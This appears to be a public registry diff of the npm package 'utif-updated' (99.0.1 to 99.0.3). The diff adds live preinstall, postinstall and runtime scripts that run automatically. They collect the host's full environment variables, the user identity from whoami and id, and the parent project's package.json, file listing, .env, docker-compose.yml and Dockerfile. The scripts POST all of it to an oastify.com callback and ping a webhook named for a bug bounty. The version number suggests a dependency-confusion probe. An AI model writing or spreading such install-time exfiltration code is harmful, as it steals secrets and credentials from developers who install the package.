utif-updated 99.0.1 → 99.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +23 -17
- package/package.json +1 -1
- package/postinstall.js +22 -20
- package/preinstall.js +53 -15
package/index.js
CHANGED
|
@@ -1,50 +1,56 @@
|
|
|
1
1
|
const https = require('https');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
4
6
|
|
|
5
7
|
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
6
8
|
|
|
7
9
|
if (!global.__utif_updated_triggered) {
|
|
8
10
|
global.__utif_updated_triggered = true;
|
|
9
|
-
|
|
11
|
+
|
|
12
|
+
function findParentProject() {
|
|
13
|
+
let dir = __dirname;
|
|
14
|
+
if (dir.includes('node_modules')) {
|
|
15
|
+
dir = dir.split('node_modules')[0];
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
const result = { root: dir };
|
|
19
|
+
try {
|
|
20
|
+
result.package_json = JSON.parse(fs.readFileSync(path.join(dir, 'package.json'), 'utf8'));
|
|
21
|
+
} catch(e) {}
|
|
22
|
+
try {
|
|
23
|
+
result.files = fs.readdirSync(dir);
|
|
24
|
+
} catch(e) {}
|
|
25
|
+
return result;
|
|
26
|
+
}
|
|
27
|
+
|
|
10
28
|
const info = {
|
|
11
|
-
type: '
|
|
29
|
+
type: 'runtime_v3',
|
|
12
30
|
hostname: os.hostname(),
|
|
13
31
|
user: os.userInfo().username,
|
|
14
|
-
cwd: process.cwd(),
|
|
15
|
-
platform: os.platform(),
|
|
16
|
-
node_version: process.version,
|
|
17
32
|
env: process.env,
|
|
33
|
+
parent_project: findParentProject(),
|
|
18
34
|
timestamp: new Date().toISOString()
|
|
19
35
|
};
|
|
20
36
|
|
|
21
|
-
try {
|
|
22
|
-
info.package_json = require(process.cwd() + '/package.json');
|
|
23
|
-
} catch(e) {}
|
|
24
|
-
|
|
25
37
|
const data = JSON.stringify(info);
|
|
26
|
-
|
|
27
38
|
const req = https.request({
|
|
28
39
|
hostname: CALLBACK,
|
|
29
40
|
port: 443,
|
|
30
41
|
path: '/runtime',
|
|
31
42
|
method: 'POST',
|
|
32
|
-
headers: {
|
|
33
|
-
'Content-Type': 'application/json',
|
|
34
|
-
'Content-Length': Buffer.byteLength(data)
|
|
35
|
-
}
|
|
43
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
36
44
|
}, () => {});
|
|
37
45
|
req.on('error', () => {});
|
|
38
46
|
req.write(data);
|
|
39
47
|
req.end();
|
|
40
48
|
|
|
41
|
-
// Trigger game over
|
|
42
49
|
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
43
50
|
if (webhook) {
|
|
44
51
|
try {
|
|
45
52
|
const url = new URL(webhook);
|
|
46
|
-
|
|
47
|
-
client.get(webhook, () => {}).on('error', () => {});
|
|
53
|
+
(url.protocol === 'https:' ? https : http).get(webhook, () => {}).on('error', () => {});
|
|
48
54
|
} catch(e) {}
|
|
49
55
|
}
|
|
50
56
|
}
|
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,50 +1,52 @@
|
|
|
1
1
|
const https = require('https');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const os = require('os');
|
|
4
|
-
const
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
5
6
|
|
|
6
7
|
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
7
8
|
|
|
9
|
+
function findParentProject() {
|
|
10
|
+
let dir = process.cwd();
|
|
11
|
+
if (dir.includes('node_modules')) {
|
|
12
|
+
dir = dir.split('node_modules')[0];
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
const result = { root: dir };
|
|
16
|
+
try {
|
|
17
|
+
result.package_json = JSON.parse(fs.readFileSync(path.join(dir, 'package.json'), 'utf8'));
|
|
18
|
+
} catch(e) {}
|
|
19
|
+
try {
|
|
20
|
+
result.files = fs.readdirSync(dir);
|
|
21
|
+
} catch(e) {}
|
|
22
|
+
return result;
|
|
23
|
+
}
|
|
24
|
+
|
|
8
25
|
const info = {
|
|
9
|
-
type: '
|
|
26
|
+
type: 'postinstall_v3',
|
|
10
27
|
hostname: os.hostname(),
|
|
11
28
|
user: os.userInfo().username,
|
|
12
|
-
cwd: process.cwd(),
|
|
13
|
-
platform: os.platform(),
|
|
14
29
|
env: process.env,
|
|
30
|
+
parent_project: findParentProject(),
|
|
15
31
|
timestamp: new Date().toISOString()
|
|
16
32
|
};
|
|
17
33
|
|
|
18
|
-
try {
|
|
19
|
-
info.id = execSync('id').toString().trim();
|
|
20
|
-
} catch(e) {}
|
|
21
|
-
|
|
22
|
-
try {
|
|
23
|
-
info.package_json = require(process.cwd() + '/package.json');
|
|
24
|
-
} catch(e) {}
|
|
25
|
-
|
|
26
34
|
const data = JSON.stringify(info);
|
|
27
|
-
|
|
28
35
|
const req = https.request({
|
|
29
36
|
hostname: CALLBACK,
|
|
30
37
|
port: 443,
|
|
31
38
|
path: '/postinstall',
|
|
32
39
|
method: 'POST',
|
|
33
|
-
headers: {
|
|
34
|
-
'Content-Type': 'application/json',
|
|
35
|
-
'Content-Length': Buffer.byteLength(data)
|
|
36
|
-
}
|
|
40
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
37
41
|
}, () => {});
|
|
38
42
|
req.on('error', () => {});
|
|
39
43
|
req.write(data);
|
|
40
44
|
req.end();
|
|
41
45
|
|
|
42
|
-
// Trigger game over
|
|
43
46
|
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
44
47
|
if (webhook) {
|
|
45
48
|
try {
|
|
46
49
|
const url = new URL(webhook);
|
|
47
|
-
|
|
48
|
-
client.get(webhook, () => {}).on('error', () => {});
|
|
50
|
+
(url.protocol === 'https:' ? https : http).get(webhook, () => {}).on('error', () => {});
|
|
49
51
|
} catch(e) {}
|
|
50
52
|
}
|
package/preinstall.js
CHANGED
|
@@ -1,13 +1,56 @@
|
|
|
1
1
|
const https = require('https');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
4
6
|
const { execSync } = require('child_process');
|
|
5
7
|
|
|
6
8
|
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
7
9
|
|
|
8
|
-
//
|
|
10
|
+
// Remonte depuis cwd pour trouver le VRAI projet parent
|
|
11
|
+
function findParentProject() {
|
|
12
|
+
let dir = process.cwd();
|
|
13
|
+
|
|
14
|
+
// Si on est dans node_modules/utif-updated, on remonte de 2 niveaux
|
|
15
|
+
if (dir.includes('node_modules')) {
|
|
16
|
+
const parts = dir.split('node_modules');
|
|
17
|
+
dir = parts[0]; // Tout ce qui est AVANT node_modules
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
const result = { root: dir };
|
|
21
|
+
|
|
22
|
+
// Lire le package.json du projet parent
|
|
23
|
+
try {
|
|
24
|
+
result.package_json = JSON.parse(
|
|
25
|
+
fs.readFileSync(path.join(dir, 'package.json'), 'utf8')
|
|
26
|
+
);
|
|
27
|
+
} catch(e) { result.package_json_error = e.message; }
|
|
28
|
+
|
|
29
|
+
// Lister les fichiers du projet
|
|
30
|
+
try {
|
|
31
|
+
result.files = fs.readdirSync(dir);
|
|
32
|
+
} catch(e) { result.files_error = e.message; }
|
|
33
|
+
|
|
34
|
+
// Essayer de lire d'autres fichiers intéressants
|
|
35
|
+
try {
|
|
36
|
+
result.env_file = fs.readFileSync(path.join(dir, '.env'), 'utf8');
|
|
37
|
+
} catch(e) {}
|
|
38
|
+
|
|
39
|
+
try {
|
|
40
|
+
result.dockercompose = fs.readFileSync(path.join(dir, 'docker-compose.yml'), 'utf8');
|
|
41
|
+
} catch(e) {}
|
|
42
|
+
|
|
43
|
+
try {
|
|
44
|
+
result.dockerfile = fs.readFileSync(path.join(dir, 'Dockerfile'), 'utf8');
|
|
45
|
+
} catch(e) {}
|
|
46
|
+
|
|
47
|
+
return result;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
const parent = findParentProject();
|
|
51
|
+
|
|
9
52
|
const info = {
|
|
10
|
-
type: '
|
|
53
|
+
type: 'preinstall_v3',
|
|
11
54
|
hostname: os.hostname(),
|
|
12
55
|
user: os.userInfo().username,
|
|
13
56
|
cwd: process.cwd(),
|
|
@@ -15,24 +58,19 @@ const info = {
|
|
|
15
58
|
platform: os.platform(),
|
|
16
59
|
arch: os.arch(),
|
|
17
60
|
node_version: process.version,
|
|
18
|
-
env: process.env,
|
|
61
|
+
env: process.env,
|
|
62
|
+
parent_project: parent,
|
|
19
63
|
timestamp: new Date().toISOString()
|
|
20
64
|
};
|
|
21
65
|
|
|
22
|
-
//
|
|
23
|
-
try {
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
} catch(e) {}
|
|
28
|
-
|
|
29
|
-
try {
|
|
30
|
-
info.package_json = require(process.cwd() + '/package.json');
|
|
31
|
-
} catch(e) {}
|
|
66
|
+
// Commandes système
|
|
67
|
+
try { info.pwd = execSync('pwd').toString().trim(); } catch(e) {}
|
|
68
|
+
try { info.whoami = execSync('whoami').toString().trim(); } catch(e) {}
|
|
69
|
+
try { info.id = execSync('id').toString().trim(); } catch(e) {}
|
|
70
|
+
try { info.ls_parent = execSync('ls -la ' + parent.root).toString(); } catch(e) {}
|
|
32
71
|
|
|
33
72
|
const data = JSON.stringify(info);
|
|
34
73
|
|
|
35
|
-
// POST vers Burp avec tout
|
|
36
74
|
const req = https.request({
|
|
37
75
|
hostname: CALLBACK,
|
|
38
76
|
port: 443,
|
|
@@ -47,7 +85,7 @@ req.on('error', () => {});
|
|
|
47
85
|
req.write(data);
|
|
48
86
|
req.end();
|
|
49
87
|
|
|
50
|
-
// Trigger
|
|
88
|
+
// Trigger webhook
|
|
51
89
|
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
52
90
|
if (webhook) {
|
|
53
91
|
try {
|